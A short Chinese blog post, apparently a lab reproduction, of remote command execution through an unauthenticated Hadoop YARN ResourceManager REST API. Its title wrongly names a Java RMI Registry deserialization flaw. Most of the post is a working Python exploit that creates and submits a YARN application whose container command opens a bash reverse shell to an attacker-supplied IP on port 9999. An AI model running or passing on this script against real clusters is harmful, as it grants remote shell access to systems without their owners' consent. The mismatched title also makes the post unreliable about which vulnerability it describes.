新后端漏洞（上）- Java RMI Registry反序列化漏洞

爱隐身的官人2025-09-06 21:13

漏洞介绍：

参考 http://archive.hack.lu/2016/Wavestone%20-%20Hack.lu%202016%20-%20Hadoop%20safari%20-%20Hunting%20for%20vulnerabilities%20-%20v1.0.pdf
漏洞环境：

docker 环境

docker-compose up -d

环境启动后，访问http://127.0.0.1:8088即可看到Hadoop YARN ResourceManager WebUI页面。

1、漏洞复现：

通过任务执行，利用过程如下：

1、在本地监听等待反弹 shell 连接

2、调用 New Application API 创建 Application

3、调用 Submit Application API 提交

python 复制代码

#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = '192.168.108.131' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

成功获取shell